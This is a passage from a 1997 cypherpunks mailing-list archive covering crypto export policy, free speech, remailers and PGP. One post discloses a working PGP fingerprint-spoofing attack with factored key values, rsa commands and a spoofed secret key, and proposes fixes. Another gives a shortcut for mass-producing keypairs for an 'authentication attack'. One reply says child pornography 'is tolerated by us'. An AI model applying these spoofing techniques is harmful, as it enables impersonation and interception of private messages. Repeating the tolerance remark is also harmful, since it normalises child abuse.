of any further relaxation of export restrictions as part of the
broader process essential to resolving this complex question.
Nor has the Administration offered to consider alternatives to
its key escrow or key recovery system.

    H.R. 695 need not be the end of the process but the
beginning of a real dialogue. This is what we would like to
happen. We continue to remain hopeful that the Administration
will acknowledge the shortcomings of its current policy and
sincerely hope that this will happen soon lest more serious
damage be done to our industry, to our security and to our
privacy.

[End exceprt]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 9 Jun 1997 07:19:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: PGP Key generation
In-Reply-To: <199706082051.VAA05211@server.test.net>
Message-ID: <3.0.2.32.19970608190515.007152dc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I have a question for any of you that may know the answer.  This is for a 
paper I am giving to the Social Security Administration on Tuesday, so I 
would appreciate any answer I get.

If I generate a personal PGP keypair on some machine it takes a specific 
period of time to do the intensive calculations, let's assume ten minutes for 
this example.  If I needed 10,000 such individual keyspairs for a unspecified 
authentication attack, does this have to take 10,000 times 10 minutes (over 
two months with this CPU), or is there a faster way to generate a large 
number of keypairs to appear to be a large number of people.

The larger question is since 10,000 unique written signatures seems to 
indicate that 10,000 unique individuals exist, would 10,000 unique PGP 
signatures also seem to indicate that these are not from the same person?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM5s6qEGpGhRXg5NZAQG0ywIAwM3EOYMTvpxZEJqpsEqGvdAGA35Tjv0I
ODzAbs/aoSQ6KWMwmw306GOvfSCGBQDgw5QJ/0ENxFwb+1OFkcA2BQ==
=hVvI
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 9 Jun 1997 23:18:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <19970608191152.24366@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 06:14:59PM -0500, William H. Geiger III wrote:
>In <v03102802afc0e602d172@[207.167.93.63]>, on 06/08/97 
>   at 03:48 PM, Tim May <tcmay@got.net> said:
[...]
>>Contracts, with clearly stated conditions and with judgeable or
>>falsifiable/testable conditionals, are a matter for the courts (private
>>courts, in fact), but vague promises, advertisements, propaganda, etc.
>>are not.
>
>>Clear now?
>
>Well I would have to dissagre. Advertisements should be covered under
>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>really does "Z" then this is clearly fraudulent behavior.
>
>The difficulty is in proving that "X" does "Z" and not "Y" but that is an
>exercise left to the civil courts.

I agree that advertisements are in many cases a verbal contract ("does
0-60mph in 5 seconds flat"), but this seems to be intrinsically messy. 
There aren't any simple, clear-cut rules that separate advertising
from other speech. 

But the fundamental principle that says "redress is available for speech
that causes harm" seems fairly clean.  That cuts across advertising,
salespersons lies, libel/slander, yelling "fire" in a theater -- a
whole gamut of free speech issues.  Spam falls under such a rule, as
well.  Of course, the issue of prior restraint is orthogonal to this 
rule... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 9 Jun 1997 23:13:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Julf ordered to reveal anon IDs
In-Reply-To: <199706081936.MAA00296@fat.doobie.com>
Message-ID: <199706090224.TAA09036@netcom20.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone with Huge Cajones wrote:

> Johan Helsingius (Julf) has been ordered to release the identity of the
> poster of one of the Scamizdat series of confidential materials. 

> "The following ID's were used to send material through anon.penet.fi: 
> an498608@anon.penet.fi, an545430@anon.penet.fi

Wasn't the Penet anon database expunged when the service was discontinued? 

I'd hate to think anyone was dense enough to keep copies lying around, in
order to comply with frivilous Clam lawsuits in perpetuity. 

BTW, are the Clams still looking for crypographic consultants to decrypt
the Grady Ward files?  It has been a while since I have perused
alt.religion.elron. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 9 Jun 1997 07:49:30 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: FC97 in July Wired
In-Reply-To: <v03020914afc071401b5b@[139.167.130.246]>
Message-ID: <Pine.LNX.3.95.970608193500.26178C-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




> It appears that Vince gets a
> subscription down in Anguilla, which got there yesterday, and probably
> everywhere else, I reckon.

Appearances can be deceiving.  I just heard about it, I don't have
a copy.

> So, the checks may take 90 days to clear in
> Anguilla, but at least the mail gets there on time...

It is 30 working days, and we never have enough holidays to make that 90
days.  Local checks clear in 1 day.  How fast do your local checks 
clear?  :-)   

  -- Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 9 Jun 1997 08:25:16 +0800
To: Vincent Cate <vince@offshore.com.ai>
Subject: Re: FC97 in July Wired
In-Reply-To: <v03020914afc071401b5b@[139.167.130.246]>
Message-ID: <v03020911afc0f6e7e357@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:39 pm -0400 on 6/8/97, Vincent Cate wrote:


> It is 30 working days, and we never have enough holidays to make that 90
> days.  Local checks clear in 1 day.  How fast do your local checks
> clear?  :-)

ACK! I meant "foriegn" checks. As for the 60-day variance, I plead
innumeracy. (What? Philosophy majors are supposed to *count*, too?). ;-).

OTOH, maybe 30 days just *seems* like 90 when you're waiting for it. :-).

Anyway, 30 days or 90, I bet FSTC-check/ACH gateways <http://www.fstc.org/>
are going to be *real* popular in places like Anguilla someday. Almost as
popular as those call-back services are now...

You can't regulate the arbitrage.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 9 Jun 1997 10:40:00 +0800
To: pooh@efga.org>
Subject: Re: PGP Key generation
In-Reply-To: <3.0.2.32.19970608190515.007152dc@mail.atl.bellsouth.net>
Message-ID: <Pine.LNX.3.96.970608211659.3887A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 8 Jun 1997, Robert A. Costner wrote:

> I have a question for any of you that may know the answer.  This is for a
> paper I am giving to the Social Security Administration on Tuesday, so I
> would appreciate any answer I get.
> 
> If I generate a personal PGP keypair on some machine it takes a specific
> period of time to do the intensive calculations, let's assume ten minutes for
> this example.  If I needed 10,000 such individual keyspairs for a unspecified
> authentication attack, does this have to take 10,000 times 10 minutes (over
> two months with this CPU), or is there a faster way to generate a large
> number of keypairs to appear to be a large number of people.

There are a few shortcuts you could take.  For instance, instead of finding
two random, prime numbers for every key, just keep one prime constant and
generate another random prime for each key.  This has the disadvantage
that any one key factored would allow the other keys to be factored
trivially.  I know there are other ways, but I'm not very good with number
theory.

Using this technique, it would take about half as long to generate 10,000
public keys.

> The larger question is since 10,000 unique written signatures seems to
> indicate that 10,000 unique individuals exist, would 10,000 unique PGP
> signatures also seem to indicate that these are not from the same person?

The basis of PGP is the web of trust.  Keys are signed by people who are
trusted to be competent and truthful, so the user can be sure to a certain
degree that the key really is owned by the person listed in the ID field.
There are problems that arise with this simplistic key management system,
but I won't reiterate what has been discussed many times before.  There
are a few papers that discuss this in detail.  Here are some pointers:

ds.internic.net/internet-drafts/draft-ietf-spki-cert-req-00.txt
                                draft-ietf-spki-cert-structure-01.txt
research.att.com/dist/mab/policymaker.ps
http://theory.lcs.mit.edu/~rivest/

So the simple answer to this question is that one would not be able to
get all 10,000 keys signed, so there would only be one key that could
be trusted to belong to that person.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5teJSzIPc7jvyFpAQF68wf/YiMlEkZV0axYIAp+WNCGlhuG9JTmu5st
4YUXGvkxwg4icePatfz+yttWfpYEmnSKP/9ZiLAAegsfuWcaK9frnntguUsH5jxE
SZMXVWQzIqjW8sTNWY5KtDLbAkNE99gLCbPGq4zaksryzWYwwqOukHFXHFZkKWF6
0sEk3H+AVY5SOCUf/MuNZACc1d6CLsWBHoUl2BFCi0seUcFqdBnEmydIaIyI4fee
Kdezl/QPnVWQKBmZVuYfUtIrP+Kc1cD30D7LAqcPd+rr9UkstOv0rsRR5vH2SZwp
7T8MFCeRQx1gs/j4QUvKgS/Y+vYrewTUmjdpADBF70ck0io23z4JZQ==
=n5hc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 23:34:11 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199701081748.RAA00773@server.test.net>
Message-ID: <Pine.LNX.3.91.970608213528.1534A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> (I forget name, but there is a non-governmental paramilitary group on
> other side to IRA in NI, occasionally there is rumor that British Army
> is feeding this paramilitary organisation names of IRA suspects to
> hit, to save them the trouble).

There are several, I believe the main one is the RUC ;-)....

> Wonder what the interest is in Northern Ireland?

Probably just the usual image thing, to pull out of NI after so much 
brutality had been carried out and so much money spent now would be 
inviting a media barbeque.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Tue, 10 Jun 1997 13:03:49 +0800
To: se7en <cypherpunks@toad.com>
Subject: Re: FCPUNX:My War
Message-ID: <199706100450.VAA27290@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:13 PM 6/8/97 -0700, se7en wrote:
> [about child pornography on the internet]
> It is disgustingly real. It is so real it will make you 
> want to throw up, and I actually, physically did throw up last night.
>
> Second, in reference to previous conversation over the years on this list, 
> and in the hacking community in general, I know this type of activity is 
> not tolerated by us.

You are no hacker:  You appear to be Rich Graves.  Furthermore this 
activity is tolerated by us.

And as usual you are discovering and publicising all sorts of good reasons
why the government should supervise us, while piously declaring you are
opposed to any such supervision.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 9 Jun 1997 05:02:04 +0800
To: cypherpunks@cyberpass.net
Subject: PGP key fingerprint spoofing
Message-ID: <199706082051.VAA05211@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Well we're all aware of the 0xDEADBEEF attack, right?  (PGP keyids,
are the 8 hex digit number which PGP recognizes a key by.  The
0xDEADBEEF attack (so christened by Greg Rose one of the people who
independently rediscovered this attack) is where you generate a PGP
key which has the same key id as someone else's key.  This could
confuse a keyserver, or a user into using the wrong key.  This attack
is fairly easy to do, just choose p ending in 0xDEADBEEF (or whatever
the desired key id is), then start with q ending in 0x00000001, and
add some value larger than 0xFFFFFFFF at each iteration doing your
primality test, the p and q will then multiply to have the desired
least significant bits of n).  You may also have noticed that Gary
Howland has a keyid of 0xc001d00d ("cool dude", get it).

Anyway it seems that you can spoof the finger print also indirectly,
which is much less obvious, as the fingerprint is the MD5 hash of the
RSA modulus concatenated with the RSA public exponent.

This was described recently on coderpunks.  (I was forced to eat my
words on coderpunks after declaring this was impossible without an
exploitable flaw in MD5 or brute force of 2**128 bit search space,
when someone explained the concatenation weakness).  I'm not sure who
it was that discovered this attack, or which list/newsgroup this was
announced on, but this was the first I had seen it discussed.

The concatenation is the weakness, as if you have an RSA key of:

n = 0x1234567
e = 0x11

Then you can try n = 0x12345, and e = 0x6711.  So you try factoring
each n of this form, and if it has two factors p and q, then you can
construct a key with the same fingerprint, but with different key.
Anyone who bothers to would be able to factor 0x1234567 also, so it is
not secure, but if you can fool someone into using this key in place
of the real one, you can get their communications.  It will be much
easier to fool someone to use this key as the fingerprint is the same!

Here's an example...

Say we have a 1024 bit key, say e is small ( < 256).  That means
n || e is 129 bytes long.

The e value must be represented by a whole byte.  n can't be smaller
than 384 bits (or PGP will reject it as too small to hold the required
idea message key and padding), so that will give us 80 possible values
for e and n.  Lets use my 1024 bit key for an example.

n = 0x99d61071378ee2c0c8c9c4b7786b203dedf2d6e526f24f7e83f3e0f960fb66b9
      cb81c04e89d70689a4866f21ad1bb5ba6aee51469e5b59b121ba6f3f8d776b62
      7253ba5dc9fca8155a565b9893f695d83a0496eb977ee4659ee20e0f2eb49b25
      93c11487b377cc5d767c79fb985b464d4ae94a5f45e42e3b29c8b89d556a4a67
e = 0x13

So we could try:

e = 0x6713
e = 0x4a6713
e = 0x6a4a6713
...
n = 0x99d61071378ee2c0c8c9c4b7786b203dedf2d6e526f24f7e83f3e0f960fb66b9
      cb81c04e89d70689a4866f21ad1bb5ba
      
e = 0x6aee51469e5b59b121ba6f3f8d776b627253ba5dc9fca8155a565b9893f695d8
      3a0496eb977ee4659ee20e0f2eb49b2593c11487b377cc5d767c79fb985b464d
      4ae94a5f45e42e3b29c8b89d556a4a6713

Here's the first candidate I found with only two factors starting from
the smallest n value (384 bit n) so that it would be quicker to
factorize (anything that took a long time to factor I moved on to next
value).

n = 0x99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9
      CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B62
      7253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465
e = 0x9EE20E0F2EB49B2593C11487B377CC5D767C79FB985B464D4AE94A5F45E42E3B
      29C8B89D556A4A6713

p = 0x6D

q = 0x1694DA7CA7DC9B69CD9ECAAC8BCDF6A41988A31132573CFD6EF72CC44FFF5330
      69074D8CB3F0974586892A25D2F3A08C19173D406266A82CCA3C3F4D705CAF78
      23922972C20D99D8DBF07E2DE20CB5B3B3F747797B3A8D9

n = 0x99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9
      CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B62
      7253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465

d = 0x0455419C3B8CCE54710EC04F9FA61F83A5E2363BE0D2E361886080716E7B8886
      EA62B748F20B9E9E7F93F768616D3AF5F8785D514A82EE41CB1FF251FFB053FA
      173D0B239D7BD1995B4F7DE3B2B112F911BE1304453EAC53

u = 0x0162AC862E1D88F2ACC3230A4AED13AEC3EA4A978387684ADA099644FF9FAA3D
      D51F6BA831347C5D12AD1CDC72F5FE40F66228E54573373C4A0F255A091879BC
      F2EA9509D46B673CB7C4EB8EDA0D6754DC373EA911653504

(Factorization courtesy of pollard rho / trial division code in the
factorization code which comes in ssh-1.2.20, which includes a
modified gmp-2.0.2 which has the code in the demos directory.)

I checked RSA operation (with my .sig rsa program which works with hex
numbers rather than formatted pgp keys) -- it works!!

% echo hello world | rsa -k=9EE20E0F2EB49B2593C11487B377CC5D767C79FB985B464D4AE94A5F45E42E3B29C8B89D556A4A6713 -n=99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B627253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465 > out
%
% rsa -k=0455419C3B8CCE54710EC04F9FA61F83A5E2363BE0D2E361886080716E7B8886EA62B748F20B9E9E7F93F768616D3AF5F8785D514A82EE41CB1FF251FFB053FA173D0B239D7BD1995B4F7DE3B2B112F911BE1304453EAC53 -n=99D61071378EE2C0C8C9C4B7786B203DEDF2D6E526F24F7E83F3E0F960FB66B9CB81C04E89D70689A4866F21AD1BB5BA6AEE51469E5B59B121BA6F3F8D776B627253BA5DC9FCA8155A565B9893F695D83A0496EB977EE465 < out
hello world
%

I'm off to pack this up as a PGP key, to see if PGP likes it!

Well here's that key as a pgp key.  Under no circumstances use it to
encrypt a message you care about.  Here's the public key.

Type Bits/KeyID    Date       User ID
pub   704/977EE465 1997/06/08 Adam Back <spoofed fingerprint DO NOT USE>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzObE60AAAECwJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GUBSJ7iDg8utJslk8EUh7N3zF12fHn7mFtGTUrpSl9F5C47Kci4nVVqSmcT
tCpBZGFtIEJhY2sgPHNwb29mZWQgZmluZ2VycHJpbnQgRE8gTk9UIFVTRT6JAG0D
BRAzmxOtOgSW65d+5GUBAQ27ArwOTveQTs0kjzBEMa09yWFs5+jNjv5tzSCngzXO
bRzvwhTwWz4voR3ov2o0bGTYZF1biKRKeKqZzHb4Oq4XhD4TADdlmsxA5gQgbYFN
5K+tbgWEDQD53KFv
=rlth
-----END PGP PUBLIC KEY BLOCK-----

Here's the secret half:

-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.3i

lQGhAzObE60AAAECwJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GUBSJ7iDg8utJslk8EUh7N3zF12fHn7mFtGTUrpSl9F5C47Kci4nVVqSmcT
AAK7BFVBnDuMzlRxDsBPn6Yfg6XiNjvg0uNhiGCAcW57iIbqYrdI8guenn+T92hh
bTr1+HhdUUqC7kHLH/JR/7BT+hc9CyOde9GZW09947KxEvkRvhMERT6sUwAHbQK5
AWlNp8p9ybac2eyqyLzfakGYijETJXPP1u9yzET/9TMGkHTYyz8JdFhokqJdLzoI
wZFz1AYmaoLMo8P01wXK94I5IpcsINmdjb8H4t4gy1s7P3R3l7Oo2QK5AWKshi4d
iPKswyMKSu0TrsPqSpeDh2hK2gmWRP+fqj3VH2uoMTR8XRKtHNxy9f5A9mIo5UVz
NzxKDyVaCRh5vPLqlQnUa2c8t8TrjtoNZ1TcNz6pEWU1BIRbtCpBZGFtIEJhY2sg
PHNwb29mZWQgZmluZ2VycHJpbnQgRE8gTk9UIFVTRT4=
=lE9S
-----END PGP SECRET KEY BLOCK-----

Here are the fingerprints of spoofed key as compared to real key.

Type Bits/KeyID    Date       User ID

pub   704/977EE465 1997/06/08 Adam Back <spoofed fingerprint DO NOT USE>
            Key fingerprint = 18 B8 A0 65 9D 38 14 83  61 5A E6 AC 91 8B 9E 57

pub  1024/556A4A67 1993/06/08 Adam Back <aba@dcs.ex.ac.uk>
            Key fingerprint = 18 B8 A0 65 9D 38 14 83  61 5A E6 AC 91 8B 9E 57

Note the identical fingerprints!  (Awesome).

Key id of course is different.

Also note that you can't decrypt directly with PGP, as I suspected,
because the chinese remainder theorem used in decrypt to speed up the
works barfs on small p.  You can hack around that if you're bothered.
It might be possible to find a spoofed fingerprint key with large p
and q, so that this was not a problem.

Below this post is my real key.

This is a major security flaw, and I take my hat off to the guy who
discovered it.

As others noted (who were aware of this flaw) the solution is to
consider the keyid as part of the fingerprint.  That reduces by a
factor of 2^32 the likelihood of the attack succeeding.  I suspect
that rules out the attack working for most keys.  Also be suspicous of
odd sized keys.  Now if someones 2048 bit key has a 1024 bit spoof,
you're in trouble.  I'd be interested in estimates of the likelihood
of this being possible for a randomly selected key.

You could construct a key where the keyid matched, and the fingerprint
matched for two different keys, using a combination of dead beef
attack, and brute force to find a key with the keyid appearing two
places in the key, and then trying to factor the n value at that
point.  Shouldn't take long.

As far as PGP format goes, adding the length field into the digest
would go along way towards fixing it.  (Length fields for pgp big int
representation is big endian 16 bit word representing length of
following big int in bits).

There might still be a small chance of doing the fingerprint spoof
where the length fields both happened to be right.  As you require a
specific length field it would seem this attack would be 2^32 times
less likely to succeed.  This would make most keys safe.  I wonder if
there exists a key out there which would fall to this attack.

(btw for people playing with this stuff, a useful program is
pgpacket.pl by Mark Shoulsen, which displays pgp packets as hex
numbers, see ftp.ox.ac.uk/pgp somewhere under utils).

Adam

My real key, so you can compare fingerprints.

Type Bits/KeyID    Date       User ID
pub  1024/556A4A67 1993/06/08 Adam Back <aba@dcs.ex.ac.uk>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAiwUXUEAAAEEAJnWEHE3juLAyMnEt3hrID3t8tblJvJPfoPz4Plg+2a5y4HA
TonXBomkhm8hrRu1umruUUaeW1mxIbpvP413a2JyU7pdyfyoFVpWW5iT9pXYOgSW
65d+5GWe4g4PLrSbJZPBFIezd8xddnx5+5hbRk1K6UpfReQuOynIuJ1VakpnAAUT
tBxBZGFtIEJhY2sgPGFiYUBkY3MuZXguYWMudWs+iQCVAwUQMiDfwUZRiTErSPb1
AQF/yAP8D1X2eAhXSc0P/X7lCHyBhWCl3pxa6oyGxFBOmUeOGfYna8CpJeMiTmZm
akRWDYmJUiXscQUfd9qRv8eAeOtbvM87olSjm56Dlh4gYJFZRxZ6IhHlFJx3mPmp
q9PnL+pSC41IIheRBJFzpKGD3LW9+VQwRAx9bXFJYyOFpx7vGJqJAJUCBRAwLhaV
fjuD7tLfgD0BAYnfA/0XByiiqDX/cxgWt9syiobJ0TrTKloJcEgzxnKmqHH7rhqn
wWGQA2pbWPGW1AwLtkeE+JYyk21YQZZxYWerK3JUi8a/ye4EaaJSs8mcw9YCwdPC
Xa0nlalh09/FBEt83l5auNbw+zl9AcrOIGsTQcAr0Vy5nnV9IEfi6WZ3/aQ734kB
FQMFEC/gRoaxVzBJFqEkZQEBEXcIAI6z9nUinIomouzB/3v1Fu9+kLOLiva+7Mp1
8UT40FXvHSabXe/cSV1//lnlYHJnfpJCPFSEjGox1pVBp9pLmiJBmubLfUrojIAn
FDB081n6kB0B4BKb2rUiNghvT4CzpBZ149g/2NGscRIeQOCYkA2cBxT44v2luuqN
3Ahg9bWu+kjnxUKIK9Da/8D0ur5HiinBDevPiVf3/uoOdZ8F7alxqitBcC5ctIYR
tr8fgdQq8is6dbeNxDMraV5vEpEN27AU4xOetymdFUufbU1K6Riw5TVZni9qXAgU
ZS3zyFw7wqJ/SWILMWp+99ss921b+GpL+/m6S4j7LTXvFvcfy9aJAJUDBRAv2A0p
Kci4nVVqSmcBAcfoA/9Pt3BeJ3TdTtQzb9DNT7LoXiQesYG68lzIl7BZsRvXoi2Q
yeCPNc/juTGBnKBHgxZezJCW8TaKdJjNEncv7p+1o+9fwmy9UKWXskh6N+Y0ZlhJ
bD0T+8+L+Wxpr6k3dao/GfOnCvw8vpvzDV9lnjtqe2B1mU5eAY76FFtZXvM9xw==
=xN9o
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 23:12:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Fraud and free speech
In-Reply-To: <v03102804afc0fc8e1db0@[207.167.93.63]>
Message-ID: <199706090408.XAA13740@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102804afc0fc8e1db0@[207.167.93.63]>, on 06/08/97 
   at 05:27 PM, Tim May <tcmay@got.net> said:

>At 4:14 PM -0700 6/8/97, William H. Geiger III wrote:

>>Well I would have to dissagre. Advertisements should be covered under
>>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>>really does "Z" then this is clearly fraudulent behavior.

>When I was growing up, advertisements that a product would make one
>attractive to women, for example, were treated as marketing jive. And we
>were all taught the old saw, "If Johhny told you to jump off a cliff,
>would you?" (This along with "sticks and stones" formed the basis of my
>proto-libertarian view.)

>An advertisement is a tease, not a promise. If a advertisement for a
>Pentium says it will run Macintosh software and run it at 600 Mhz, the
>proper response is skepticism, not demanding a law be passed to stop such
>advertisements.

>The key lies in proper contracts, not in regulating speech.

>(Oh, and it almost goes without saying that the same "lies" William and
>others are so worried about in "commercial" speech happen all the time in
>non-commerical speech. For every example of where commercial speech
>involves lies or fraud, I can find similar or fully equivalent
>non-commercial examples, ranging from lies like "I love you" to get a
>partner into bed to deliberate misstatements to mislead an opponent. Why
>should such "lies" be protected while putatively commercial speech is to
>be subjected to an increasing number of limitations?)

So what you are saying that if I call up Widgits, Inc. and order product
"X" that they advertizes does "Y". They instead send me product "X" that
does "Z" not "Y" then I should have no recource? I should atleast be able
to get my money back as they have not sold me the product that they
claimed to be selling (clear violation of the "contract" between buyer and
seller).

I have no problem with them saying their product does "Y" but if I spend
my hard earned money on it then it best do what they say it does. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 9 Jun 1997 10:07:56 +0800
To: cypherpunks@toad.com
Subject: Re: Dems Critique Crypto Policy
Message-ID: <199706090157.VAA27750@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
                        ADDITIONAL MINORITY VIEWS
> 
>                                    John Conyers, Jr.
>                                    Rick Boucher.
>                                    Zoe Lofgren.
>                                    Maxine Waters.
>                                    William Delahunt.
>                                    Martin T. Meehan.
>     We need to be honest about this situation. We don't expect
> most narcotics traffickers, terrorists, or criminals to respect
> export restrictions on encryption when they don't respect our
> underlying drugs or weapons laws. And we don't generally expect
> anyone who employs encryption in furtherance of a crime to
> readily give their keys to some third party so they may be made
> available to the government.

  The government doesn't expect it, either.
  As a matter of fact, they are probably sitting back laughing their
asses off over your eloquent statements of logic which any rational
person could reproduce if they weren't programmed to feed unthinkingly
off of government media sound bytes.

  All of your points are well-taken and they will make no more 
difference than similar ones have made in the past. You will speak
your mind politely while the government goes about usurping the few
remaining privacies and freedoms we have.
  In the meantime, the nation is keeping busy bemoaning the fact 
that not everyone is going to be so polite in their protest of
the government assault on the liberty and freedom of the citizens.
The nation is busy venting their rage on a government mandated
monster, as always, instead of admitting that there is a much
greater monster in our midst which is slaying more of our citizens
in a variety of ways than McVeigh could ever dream of.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 9 Jun 1997 10:40:38 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
Message-ID: <199706090223.WAA29211@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
> >Well I think that there are some that would confuse the issue between 1st
> >Amendment free speech and the issues surrounding fraud. Especially those
> >in government who write the laws that regulate commercial speech.
> 
> The mistake has been to extend "fraud" laws to non-contract situations,
> e.g., ordinary speech (as distinguished from contracts).

  Any time that you see a thread in which Kent Crispin accuses someone
of trying to "muddy the waters" you can pretty much guarantee he is
trying to throw a logical curveball of his own.
  Kent added some tripe to the thread supporting his favorite theme,
which is that it is the job of government to "enforce" contractual
agreements. Naturally, he also extends the format of these contracts
to include government authority to enforce criminal penalties for
statements made by the great grandfather of the second cousin of the
spouse of one of the person making the contract.
  Follow any thread after a Crispin post and you will find people
arguing over issues he raises which have little basis in reality.

> Contracts, with clearly stated conditions and with judgeable or
> falsifiable/testable conditionals, are a matter for the courts (private
> courts, in fact), but vague promises, advertisements, propaganda, etc. are
> not.

  Dimitri wrote a couple of posts which dealt well with the original
concept of two parties agreeing on an arbitrator/judge to settle
contractual disputes (e.g. the court of Prince X) and the following
usurpment of these free-will agreements by people in power who decree
that _they_ are now the only valid arbitrator/judge in contractual
matters.
  We now have a system where if someone breaks agreement with you the
government locks them in a cage where there is no possibility of them
paying you what they are contractually obligated to. The government
doesn't give a fat rat's ass what your desires are for resolution of
the dispute. They are always busy protecting the nebulous "other"
rather than someone real, with a real interest in the situation.

  The government mandates that contractual agreements must be 
settled in a forum where the corporation with an army of lawyers
can bury the attorney that Joe Average picked out of the yellow
pages. When you enter into a contractual agreement with someone who
has a guy named "Big Louie" as arbitrator, however, the government
